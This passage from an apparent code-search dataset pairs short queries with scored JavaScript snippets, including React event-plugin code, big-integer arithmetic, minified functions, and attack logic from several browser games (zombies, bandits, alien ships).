recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" } ]
3ff3231901bb61238a587715f9e0712c
(protected) r = this a
[ { "docid": "fccad5ab8ac2aa3a58ff247ebe1fb576", "score": "0.0", "text": "function bnpSubTo(a,r) {\r\n var i = 0, c = 0, m = Math.min(a.t,this.t);\r\n while(i < m) {\r\n c += this[i]-a[i];\r\n r[i++] = c&this.DM;\r\n c >>= this.DB;\r\n }\r\n if(a.t < this.t) {\r\n c -= a.s;\r\n while(i < this.t) {\r\n c += this[i];\r\n r[i++] = c&this.DM;\r\n c >>= this.DB;\r\n }\r\n c += this.s;\r\n }\r\n else {\r\n c += this.s;\r\n while(i < a.t) {\r\n c -= a[i];\r\n r[i++] = c&this.DM;\r\n c >>= this.DB;\r\n }\r\n c -= a.s;\r\n }\r\n r.s = (c<0)?-1:0;\r\n if(c < -1) r[i++] = this.DV+c;\r\n else if(c > 0) r[i++] = c;\r\n r.t = i;\r\n r.clamp();\r\n }", "title": "" } ]
[ { "docid": "5cb18eeb6df206382b4242e766f5f3f1", "score": "0.69613516", "text": "function rb(a){m.call(this,1);this.c=a}", "title": "" }, { "docid": "e9247458246b55e8db4825f2ac189262", "score": "0.69610274", "text": "function z(){r.call(this)}", "title": "" }, { "docid": "d0e09c5cb217bb19d492c329a624ff6d", "score": "0.6892639", "text": "get a() {\n\t\treturn this._a_;\n\t}", "title": "" }, { "docid": "d0e09c5cb217bb19d492c329a624ff6d", "score": "0.6892639", "text": "get a() {\n\t\treturn this._a_;\n\t}", "title": "" }, { "docid": "61a533299ceb3f006626aeb396f93d98", "score": "0.66435367", "text": "function a(e){if(!(this instanceof a))return new a(e);this._wrapped=e}", "title": "" }, { "docid": "ca18314cdfa25bb2907018a50dced60e", "score": "0.6618104", "text": "function set_r(a)\n{\n\tr = a;\n}", "title": "" }, { "docid": "cf4e0f726b455a1e1bb89d81c65be401", "score": "0.6558912", "text": "function Ag(a){this.m=a}", "title": "" }, { "docid": "5553d43a88097f7679c25f269d1826e5", "score": "0.6523613", "text": "function a(a){this._value=a}", "title": "" }, { "docid": "3ed026f2ef9bf1203487bda784ae83a2", "score": "0.64707506", "text": "get r () { return this._c[0] }", "title": "" }, { "docid": "2c1b4902653712192d41decb66478de2", "score": "0.6462235", "text": "function M(){this.a={}}", "title": "" }, { "docid": "2c1b4902653712192d41decb66478de2", "score": "0.6462235", "text": "function M(){this.a={}}", "title": "" }, { "docid": "1c8da215ff69ff98ad105b8de6fbffc3", "score": "0.6414356", "text": "function r(e){if(!(this instanceof r))return new r(e);this._wrapped=e}", "title": "" }, { "docid": "1c8da215ff69ff98ad105b8de6fbffc3", "score": "0.6414356", "text": "function r(e){if(!(this instanceof r))return new r(e);this._wrapped=e}", "title": "" }, { "docid": "8229886ddb569efcf313124c645c2ee9", "score": "0.6407892", "text": "function $a(a,b){m.call(this,a.g);this.d=a;this.c=b;this.e=a.e;this.a=a.a;if(1==this.c.length){var c=this.c[0];c.m||c.c!=ab||(c=c.j,\"*\"!=c.c()&&(this.b={name:c.c(),l:null}))}}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.6404611", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.6404611", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.6404611", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.6404611", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.6404611", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.6404611", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.6404611", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.6404611", "text": "function r(){}", "title": "" }, { "docid": "526188664644f0c76267dd549a86c256", "score": "0.6404611", "text": "function r(){}", "title": "" }, { "docid": "1f5cee655f0ec95bc51dd84ee173060a", "score": "0.62826353", "text": "function m(a){this.g=a;this.a=this.e=!1;this.b=null}", "title": "" }, { "docid": "e475946c62cb50054718e1799dacd4ad", "score": "0.6268992", "text": "function G(){r.call(this)}", "title": "" }, { "docid": "e475946c62cb50054718e1799dacd4ad", "score": "0.6268992", "text": "function G(){r.call(this)}", "title": "" }, { "docid": "e475946c62cb50054718e1799dacd4ad", "score": "0.6268992", "text": "function G(){r.call(this)}", "title": "" }, { "docid": "342a5a9ff603d32ba497f670c3bb4e9c", "score": "0.6255829", "text": "function f() {\n return this.a;\n }", "title": "" }, { "docid": "654176dc1466def61556e1784d59b5e6", "score": "0.62261266", "text": "function J(){this.a={}}", "title": "" }, { "docid": "baf71a543f46cefc80efb819dc2d405b", "score": "0.62040985", "text": "function A ( a ) {\n this.a = a;\n}", "title": "" }, { "docid": "b7e892f1038d6927db9bb29cb34761ce", "score": "0.619007", "text": "function Q(){this.a={}}", "title": "" }, { "docid": "b7e892f1038d6927db9bb29cb34761ce", "score": "0.619007", "text": "function Q(){this.a={}}", "title": "" }, { "docid": "f84f8827878fa1df0ad33b6e7a0e6fd6", "score": "0.61857617", "text": "function R(a,b,c,d){m.call(this,4);this.c=a;this.j=b;this.d=c||new Q([]);this.m=!!d;b=0<this.d.a.length?this.d.a[0].b:null;a.b&&b&&(a=b.name,a=w?a.toLowerCase():a,this.b={name:a,l:b.l});a:{a=this.d;for(b=0;b<a.a.length;b++)if(c=a.a[b],c.e||1==c.g||0==c.g){a=!0;break a}a=!1}this.e=a}", "title": "" }, { "docid": "4cc65831fa175e6cbf04d9d4c82a48a8", "score": "0.6184247", "text": "function Za(a){m.call(this,4);this.c=a;Xa(this,Aa(this.c,function(a){return a.e}));Ya(this,Aa(this.c,function(a){return a.a}))}", "title": "" }, { "docid": "a2a8ae439dc2afa6c044f7055c5dae4e", "score": "0.6149869", "text": "function x(){this.a={}}", "title": "" }, { "docid": "97249a7ac961ff87230665defb469851", "score": "0.61048776", "text": "ar(val) {\n this._ar = val;\n return this;\n }", "title": "" }, { "docid": "70a8aef90028350f2edf0b8104a30f2a", "score": "0.60959953", "text": "function r(A,e){0}", "title": "" }, { "docid": "70a8aef90028350f2edf0b8104a30f2a", "score": "0.60959953", "text": "function r(A,e){0}", "title": "" }, { "docid": "dd897d993c5d96e84524235a97b832fc", "score": "0.605007", "text": "constructor(r = 1, g = 1, b = 1, a = 1) {\n this.r = r;\n this.g = g;\n this.b = b;\n this.a = a;\n }", "title": "" }, { "docid": "dd897d993c5d96e84524235a97b832fc", "score": "0.605007", "text": "constructor(r = 1, g = 1, b = 1, a = 1) {\n this.r = r;\n this.g = g;\n this.b = b;\n this.a = a;\n }", "title": "" }, { "docid": "3b8600aa63a5f99af8b81771d2c2e52d", "score": "0.6023157", "text": "function se(a){this.o=a}", "title": "" }, { "docid": "3c4f73cc2c42d85c22b428a11f931fbf", "score": "0.6005425", "text": "function $e(a){this.g=a}", "title": "" }, { "docid": "7868341505f2aba8a75884b325d35c9c", "score": "0.5989179", "text": "function f(){\n return this.a;\n}", "title": "" }, { "docid": "219a122087371cb54e12b5f1bc78f7c8", "score": "0.5967776", "text": "function $b(a,b){this.sa=a;this.m=b||this.Ke()}", "title": "" }, { "docid": "b5d3f6e2d357931a1c06711ff5c3b37e", "score": "0.5950272", "text": "get real() { return this.r; }", "title": "" }, { "docid": "d4528b5c234af67e62873e754bc9368e", "score": "0.5938622", "text": "function a(e){return void 0===e&&(e=null),Object(r[\"m\"])(null!==e?e:o)}", "title": "" }, { "docid": "d4528b5c234af67e62873e754bc9368e", "score": "0.5938622", "text": "function a(e){return void 0===e&&(e=null),Object(r[\"m\"])(null!==e?e:o)}", "title": "" }, { "docid": "cbf11f686296b5549ddbc6163baa1344", "score": "0.593255", "text": "function foo(a) {\n\tthis.a = a;\n}", "title": "" }, { "docid": "1d1ecb316cb82edc16561db54cf4332d", "score": "0.5914888", "text": "function Ai(a){Ai.p.constructor.call(this,a);Wh(this)}", "title": "" }, { "docid": "c447d6f7d4a37e777d3bce7b51206420", "score": "0.59130645", "text": "function L(){A.call(this)}", "title": "" }, { "docid": "c447d6f7d4a37e777d3bce7b51206420", "score": "0.59130645", "text": "function L(){A.call(this)}", "title": "" }, { "docid": "784f7acff91470595bca955dcd03de2d", "score": "0.5902325", "text": "ra(val) {\n this._ra = val;\n return this;\n }", "title": "" }, { "docid": "bf46dc070c21f4c677e40000dd07f038", "score": "0.58980274", "text": "_a(t, e) {\n return this.ha(t);\n }", "title": "" }, { "docid": "b5e7b4bc3c46ca0e34b6e24e9dab322c", "score": "0.5897098", "text": "function o(e,r){0}", "title": "" }, { "docid": "a432544912e41fa886e500c8fded42c5", "score": "0.5894245", "text": "function Qg(a){this.o=a}", "title": "" }, { "docid": "91150b3db85c1aff8aa763c1d6ea1c09", "score": "0.58897924", "text": "function Ra(a){this.qa=\"2u2008\";this.fa=new RegExp(this.qa);this.ga=\"\";this.q=new q;this.v=\"\";this.k=new q;this.u=new q;this.m=!0;this.aa=this.s=this.ka=!1;this.oa=M.r();this.t=0;this.d=new q;this.ea=!1;this.o=\"\";this.b=new q;this.h=[];this.ha=a;this.va=this.i=Sa(this,this.ha)}", "title": "" }, { "docid": "cedbf5815ccdafb4f0a8cf7af53ff355", "score": "0.5888703", "text": "function foo() {\n console.log(this.a);\n \n }", "title": "" }, { "docid": "87743c006f077e494d46c2ca0ee89cae", "score": "0.5886218", "text": "function lf(a){this.o=a}", "title": "" }, { "docid": "d20af42d183fb4d1191f6502879a14df", "score": "0.5868579", "text": "get r() { return this.#r; }", "title": "" }, { "docid": "f3ae3f04ba8f1b30b1bbfd3ebbec3433", "score": "0.58508605", "text": "function A() {\n\tthis.m = f;this;\n }", "title": "" }, { "docid": "a8006140662e2c44edadbfb777b5f2ce", "score": "0.5842686", "text": "get a() {\n\t\treturn 2;\n }", "title": "" }, { "docid": "a9b3b88e4d653728c42d961ff5568846", "score": "0.58228016", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!=typeof e&&\"function\"!=typeof e?t:e}", "title": "" }, { "docid": "a9b3b88e4d653728c42d961ff5568846", "score": "0.58228016", "text": "function a(t,e){if(!t)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!e||\"object\"!=typeof e&&\"function\"!=typeof e?t:e}", "title": "" }, { "docid": "932a6a396ed293722aea7cd53d7e7b76", "score": "0.58066934", "text": "function se(a){se.m.constructor.call(this,a);qe(this)}", "title": "" }, { "docid": "b8eb1f92e6413c99a2f02ee59146e398", "score": "0.5799072", "text": "re() {\n return new bt(this);\n }", "title": "" }, { "docid": "7034473fa8641dbd646a9864302356f4", "score": "0.57790285", "text": "static of(a){\r\n\t\treturn Either.right(a);\r\n\t}", "title": "" }, { "docid": "99401c06a008dcb0c6a1763486336741", "score": "0.57788604", "text": "acelerar() { }", "title": "" }, { "docid": "1075af2e3a334fd27cf25ba60e673d49", "score": "0.57646954", "text": "get a() {\n\t\treturn 2;\n\t}", "title": "" }, { "docid": "1075af2e3a334fd27cf25ba60e673d49", "score": "0.57646954", "text": "get a() {\n\t\treturn 2;\n\t}", "title": "" }, { "docid": "1075af2e3a334fd27cf25ba60e673d49", "score": "0.57646954", "text": "get a() {\n\t\treturn 2;\n\t}", "title": "" }, { "docid": "f875716acb8a56cef470f5c3faabbab7", "score": "0.574649", "text": "set a(val) {\n\t\tthis._a_ = val * 2;\n\t}", "title": "" }, { "docid": "f875716acb8a56cef470f5c3faabbab7", "score": "0.574649", "text": "set a(val) {\n\t\tthis._a_ = val * 2;\n\t}", "title": "" }, { "docid": "937c3c06b4c73f340132ca0b86a2b12a", "score": "0.57413995", "text": "function Mh(a){this.o=a}", "title": "" }, { "docid": "762d25f0d22b26411ee77ef1a084f863", "score": "0.5731722", "text": "function Ag(){this.b=null;this.a=[]}", "title": "" }, { "docid": "a98648f90153091fb715bfbeb039aeb9", "score": "0.5726505", "text": "item(a) {\n return this._h(a);\n }", "title": "" }, { "docid": "a98648f90153091fb715bfbeb039aeb9", "score": "0.5726505", "text": "item(a) {\n return this._h(a);\n }", "title": "" }, { "docid": "cf8d7e9a65f812dc1661e6758773a734", "score": "0.5716444", "text": "function a(b) {\n b = b && b.e ? b.e : null;\n return (new a.implementation).run(b);\n }", "title": "" }, { "docid": "0027d770dbbb126e965ef8a02ba58a74", "score": "0.5687188", "text": "function foo(a) {\n this.a = a\n}", "title": "" }, { "docid": "1f5fb5174a4e7046b6cb67475b6eb0d8", "score": "0.56745213", "text": "function G() {\n r.call(this)\n }", "title": "" }, { "docid": "d6656b4de6b78c5fb3296221f5f0ce09", "score": "0.5673576", "text": "function wg(a){this.o=a}", "title": "" }, { "docid": "f17ba207ee231469c0b0f086e71a5136", "score": "0.56719226", "text": "function foo(a) {\n this.a = a;\n}", "title": "" }, { "docid": "f17ba207ee231469c0b0f086e71a5136", "score": "0.56719226", "text": "function foo(a) {\n this.a = a;\n}", "title": "" }, { "docid": "330d8e57bafffa6d105a90f15eb55f83", "score": "0.5669683", "text": "function a(e,t){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!t||\"object\"!=typeof t&&\"function\"!=typeof t?e:t}", "title": "" }, { "docid": "330d8e57bafffa6d105a90f15eb55f83", "score": "0.5669683", "text": "function a(e,t){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!t||\"object\"!=typeof t&&\"function\"!=typeof t?e:t}", "title": "" }, { "docid": "330d8e57bafffa6d105a90f15eb55f83", "score": "0.5669683", "text": "function a(e,t){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!t||\"object\"!=typeof t&&\"function\"!=typeof t?e:t}", "title": "" }, { "docid": "330d8e57bafffa6d105a90f15eb55f83", "score": "0.5669683", "text": "function a(e,t){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!t||\"object\"!=typeof t&&\"function\"!=typeof t?e:t}", "title": "" }, { "docid": "330d8e57bafffa6d105a90f15eb55f83", "score": "0.5669683", "text": "function a(e,t){if(!e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return!t||\"object\"!=typeof t&&\"function\"!=typeof t?e:t}", "title": "" }, { "docid": "c7de7e04b86a872c1354d95012b93816", "score": "0.5665963", "text": "function foo(a) {\n this.a = a;\n}", "title": "" }, { "docid": "4e09c4e6a50c4bb962b5c76e2dda0566", "score": "0.5665915", "text": "function pb(a){m.call(this,1);this.c=a;this.e=a.e;this.a=a.a}", "title": "" }, { "docid": "c9a5134e3c0d1a1d96aca02241185d5c", "score": "0.5663362", "text": "ab(val) {\n this._ab = val;\n return this;\n }", "title": "" }, { "docid": "de80f86353087114e2c0767c89752283", "score": "0.56608146", "text": "function r(t,e){return i.call(t,e)}", "title": "" }, { "docid": "5ca016cfe699efe3f3a048700e8f23a0", "score": "0.565783", "text": "function o(e,t){return r.call(e,t)}", "title": "" }, { "docid": "a93d7f4d3e4edb3f3f70d499b87326bc", "score": "0.5656446", "text": "function foo(something) { \n this.a = something;\n}", "title": "" }, { "docid": "6630c9d09a39af1eb1daf54f61afc920", "score": "0.56107324", "text": "function ch(a){this.o=a}", "title": "" }, { "docid": "8fc970236a44f6100917976de0d12d14", "score": "0.55983794", "text": "function foo() {\n\tconsole.log( this.a );\n}", "title": "" }, { "docid": "79249f67e15afcc674d7f52d57da4a34", "score": "0.55976653", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "79249f67e15afcc674d7f52d57da4a34", "score": "0.55976653", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "79249f67e15afcc674d7f52d57da4a34", "score": "0.55976653", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.5596176", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.5596176", "text": "function foo() {\n console.log(this.a);\n}", "title": "" }, { "docid": "04e36c28f0e6691617310aea3fe0f631", "score": "0.5596176", "text": "function foo() {\n console.log(this.a);\n}", "title": "" } ]
454bdfa738301123693fd360f69c10b0
this is the boat attack section. for axe, rubber chicken, and pool noodle action
[ { "docid": "771e1554ca275dbfbaf0d78a064f58b6", "score": "0.652678", "text": "function boatAttack() {\n//Rubber chicken\n if (weaponRowBoat === \"rubber chicken\" && randomSevenFive <= 7.5) {\n alert(\"You grab the \" + weaponRowBoat + \", and tried to smacked the zombie with it. It was not very effective and damaged the zombie by 2hp. The zombie hits you back for 2hp.\");\n zombieHp -= 2;\n playerHp -= 2;\n console.log(\"zombie\" + zombieHp);\n console.log(\"player\" + playerHp);\n weaponChoice();\n\n } else if (weaponRowBoat === \"rubber chicken\" && randomSevenFive > 7.5) {\n alert(\"You grab the \" + weaponRowBoat + \", and tried to smacked the zombie with it. You completely miss , and he zombie hits you for 2hp.\")\n playerHp -=2;\n console.log(\"zombie\" + zombieHp);\n console.log(\"player\" + playerHp);\n weaponChoice();\n\n//Axe\n } else if (weaponRowBoat === \"axe\" && randomFifty === 1) {\n alert(\"You grab the \" + weaponRowBoat + \", and swing it with all your might to the zombie. You hit the zombie, and stagger him. This takes off 5hp while you are dealt 1hp in damage.\");\n zombieHp -= 5;\n playerHp -= 1;\n console.log(\"zombie\" + zombieHp);\n console.log(\"player\" + playerHp);\n weaponChoice();\n\n } else if (weaponRowBoat === \"axe\" && randomFifty === 0) {\n alert(\"You grab the \" + weaponRowBoat + \", and swing it with all your might, but you miss. This allows the zombie to take a bite into you and deal 3hp of damage.\");\n playerHp -= 3;\n console.log(\"zombie\" + zombieHp);\n console.log(\"player\" + playerHp);\n weaponChoice();\n\n//pool noodle\n } else if (weaponRowBoat === \"pool noodle\") {\n alert(\"You grab the \" + weaponRowBoat + \" and swing it towards the zombie. You deal 1 whole damage to the zombie. The zombie is angered by the attack and damages you by 3hp.\");\n playerHp -= 3;\n zombieHp -= 1;\n console.log(\"zombie\" + zombieHp);\n console.log(\"player\" + playerHp);\n weaponChoice();\n\n//wrong input\n } else {\n alert(\"You couldn't decide in time so both you and \" + friendName + \" receive one damage.\");\n playerHp -= 1;\n if (playerHp > 0) {\n alert(\"Please try again and type in 'rubber chicken' , 'axe' ,or 'pool noodle'.\");\n weaponChoice();\n } else {\n weaponChoice();\n }\n }\n}", "title": "" } ]
[ { "docid": "1af56bfca97649ac9c262f5fef4897bf", "score": "0.6791817", "text": "async _3960_eventBanditsAttack() {\r\n await this.tt.print(\"BANDITS ATTACK\");\r\n const B1_shotTime = await this._6140_shoot();\r\n this.B_ammo -= 20 * B1_shotTime;\r\n if (this.B_ammo < 0) {\r\n await this.tt.print(\"YOU RAN OUT OF BULLETS---THEY GET LOTS OF CASH\");\r\n this.T_money = this.T_money / 3;\r\n this._4040_eventsShotByBandits();\r\n }\r\n else if (B1_shotTime <= 1) {\r\n await this.tt.printAll([\r\n \"QUICKEST DRAW OUTSIDE OF DODGE CITY!!!\",\r\n \"YOU GOT 'EM!\"\r\n ]);\r\n this._4710_doMountains();\r\n }\r\n else {\r\n this._4040_eventsShotByBandits();\r\n }\r\n }", "title": "" }, { "docid": "a4d6e8d2258fdf950f8e57912741e633", "score": "0.67768556", "text": "function attackMethod(){\n var blockMove = countMarks(human);\n var winMove = countMarks(machine);\n\n if (attack == 't'){\n if (winMove.length > 0){\n blockingTShape(winMove);\n }\n else if (blockMove.length > 0){\n blockingTShape(blockMove);\n } else{\n blockingTShape([])\n }\n }\n else{\n if(winMove.length > 0){\n blockingTriangle(winMove);\n }\n else if(blockMove.length > 0){\n blockingTriangle(blockMove);\n } else{\n blockingTriangle([]);\n }\n }\n}", "title": "" }, { "docid": "49b1223fb3acf981b1c87ba47cad3f3f", "score": "0.66599333", "text": "async _4340_eventAnimalsAttack() {\r\n await this.tt.print(\"WILD ANIMALS ATTACK!\");\r\n const B1_shotTime = await this._6140_shoot();\r\n if (this.B_ammo > 39) {\r\n if (B1_shotTime > 2) {\r\n await this.tt.print(\"SLOW ON THE DRAW---THEY GOT AT YOUR FOOD AND CLOTHES\");\r\n }\r\n else {\r\n await this.tt.print(\"NICE SHOOTIN' PARDNER---THEY DIDN'T GET MUCH\");\r\n }\r\n\r\n this.B_ammo -= 20 * B1_shotTime;\r\n this.C_clothing -= 4 * B1_shotTime;\r\n this.F_food -= 8 * B1_shotTime;\r\n this._4710_doMountains();\r\n }\r\n else {\r\n await this.tt.print(\"YOU WERE TOO LOW ON BULLETS--THE WOLVES OVERPOWERED YOU\");\r\n this.K8_injuryFlag = true;\r\n this._5120_youDiedOf();\r\n }\r\n }", "title": "" }, { "docid": "5d91bcdab9c74550c8d15775d66e6028", "score": "0.66080326", "text": "attack (defender,attacker, aliens) {\n\t\tlet i = 1;\n\t\tlet x = 0;\n\t\t//let moo = \"\";\n\t\tlet f=\"\";\n\t\tlet attacker2 = {};\n\t\tlet justObj = [];\n//-------------------------------------------------------------------------------\n//Giant while loop to simulate the battle\n//-------------------------------------------------------------------------------\n\t\twhile (attacker.hull > 0 && defender.hull > 0) {\n\n//-------------------------------------------------------------------------------\n//Defender has missles that always hit the target and very powerful. Must be in Hard Mode\n//-------------------------------------------------------------------------------\n\t\t\tif (checked && ($(\".missle3\").is( \":checked\" ) ) && (defender.misslecnt > 0) ) {\n\t\t\t\t\tconsole.log(\"missles \" + defender.misslecnt);\n\t\t\t\t\tattacker.hull = attacker.hull - defender.missleFirepower;\n\t\t\t\t\t$( \"h5\" ).filter(\".a\" + attacker.iName).text(\"Hull = \" + attacker.hull);\n\t\t\t\t\t$( \"img\" ).filter(\".\" + attacker.iName).css(\"padding\", attacker.hull + \"px\");\n\t\t\t\t\tdefender.misslecnt--;\n\t\t\t\t\t$(\".missleCountLegend\").text(\"Missle Count: \" + defender.misslecnt);\n\t\t\t\t\t\n\t\t\t\t\tif (defender.misslecnt <= 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$( \".missle3\" ).checkboxradio( \"disable\" );\n\t\t\t\t\t}\n\t\t\t}\n\n//-------------------------------------------------------------------------------\n//If the missles blew up the ship then no need to fire lasers.\n//-------------------------------------------------------------------------------\n\t\t\tif (attacker.hull <= 0)\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n//-------------------------------------------------------------------------------\n//Calculate the defender's accuracy this turn\n//-------------------------------------------------------------------------------\n\t\t\tx = Math.random();\n//-------------------------------------------------------------------------------\n//Defender scored a hit\n//-------------------------------------------------------------------------------\n\t\t\tif (x <= defender.accruacy) {\n\t\t\t\tattacker.hull = attacker.hull - defender.firepower;\n\t\t\t\t//console.log(\".\" + attacker.name);\n\t\t\t\t//f = \".a\" + attacker.iName;\n\t\t\t\t//moo = $( \"h5:contains('\" + f + \"')\" ).text(\"Hull = \" + attacker.hull);\n\t\t\t\t$( \"h5\" ).filter(\".a\" + attacker.iName).text(\"Hull = \" + attacker.hull);\n\t\t\t\t//string = \".alien\" + (i+1);\n\t\t\t\t$( \"img\" ).filter(\".\" + attacker.iName).css(\"padding\", attacker.hull + \"px\");\n\t\t\t\t//console.log(moo);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tconsole.log(\"Defender Missed \" + x);\n\t\t\t}\n\t\t\t//do stuff here\n\t\t\t//console.log(\"attacker hull = \" + attacker.hull);\n\n//-------------------------------------------------------------------------------\n//Attacker Turn assuming it survived\n//-------------------------------------------------------------------------------\n\n\t\t\tif (attacker.hull > 0) \n\t\t\t{\n\t\t\t\tx = Math.random();\n\t\t\t\tif (x <= attacker.accruacy ) {\n\t\t\t\t\tdefender.hull = defender.hull - attacker.firepower;\n\t\t\t\t\t$( \".defender\" ).css(\"padding\", defender.hull + \"px\");\n\t\t\t\t\t$( \"h5\" ).filter(\".ddefender\").text(\"Hull = \" + earthDefender.hull);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\tif (checked) //firing twice for hard mode\n\t\t\t\t\t{\n\t\t\t\t\t\tdefender.hull = defender.hull - attacker.firepower;\n\t\t\t\t\t\t$( \".defender\" ).css(\"padding\", defender.hull + \"px\");\n\t\t\t\t\t\t$( \"h5\" ).filter(\".ddefender\").text(\"Hull = \" + earthDefender.hull);\n\t\t\t\t\t}\n\t\t\t\t\t*/\n\t\t\t\t//console.log(\"defender hull = \" + defender.hull);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tconsole.log(\"Attacker Missed \" + x);\n\t\t\t\t}\n\t\t\t\t\n//one other aliens can fire too\n\t\t\t\tlet whichOtherAliens = 0;\n\t\t\t\tif (checked === true) { \n\t\t\t\t\tif (aliens.length > 1) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (aliens.length === 2) {\n\t\t\t\t\t\t\twhichOtherAliens = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\twhichOtherAliens = random(0,(aliens.length-1));\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t//console.log(aliens);\n\t\t\t\t\t\t//console.log(\"alien length = \" + aliens.length);\n\t\t\t\t\t\t//console.log(\"other = \" + whichOtherAliens)\n\t\t\t\t\t\t//console.log(aliens.slice(whichOtherAliens,whichOtherAliens+1));\n\t\t\t\t\t\t\n\t\t\t\t\t\tattacker2 = aliens.slice(whichOtherAliens,whichOtherAliens+1);\n\t\t\t\t\t\t//console.log(aliens)\n\t\t\t\t\t\tjustObj = attacker2[0];\n\t\t\t\t\t\tattacker2 = justObj;\n\t\t\t\t\t\tx = Math.random();\n\t\t\t\t\t\tif (x <= attacker2.accruacy ) {\n\t\t\t\t\t\t\tdefender.hull = defender.hull - attacker2.firepower;\n\t\t\t\t\t\t\t$( \".defender\" ).css(\"padding\", defender.hull + \"px\");\n\t\t\t\t\t\t\t$( \"h5\" ).filter(\".ddefender\").text(\"Hull = \" + earthDefender.hull);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tconsole.log(\"Attacker2 Missed \" + x);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\ti++;\n\t\t}\n\t\treturn 0;\n\t}", "title": "" }, { "docid": "37cdfe2bbbc4524788870383f9ccc9ac", "score": "0.6588806", "text": "function action(command) {\n\t\tvar random = Math.floor(Math.random() * 10)\n\t\tif (random >= 4) {\n\t\t\teact = 'atk'\n\t\t}\n\t\telse{\n\t\t\teact = 'def'\n\t\t} \n\t\tconst x = command.x\n\t\tconst y = command.y\n\t\tif (x > 618 && x < 718 && y > 218 && y < 318) {\n\t\t\tconsole.log(`Batalha iniciada`)\n\t\t\tnotifyAll(chars)\n\t\t}\n\t\telse if (x > 118 && x < 218 && y > 418 && y < 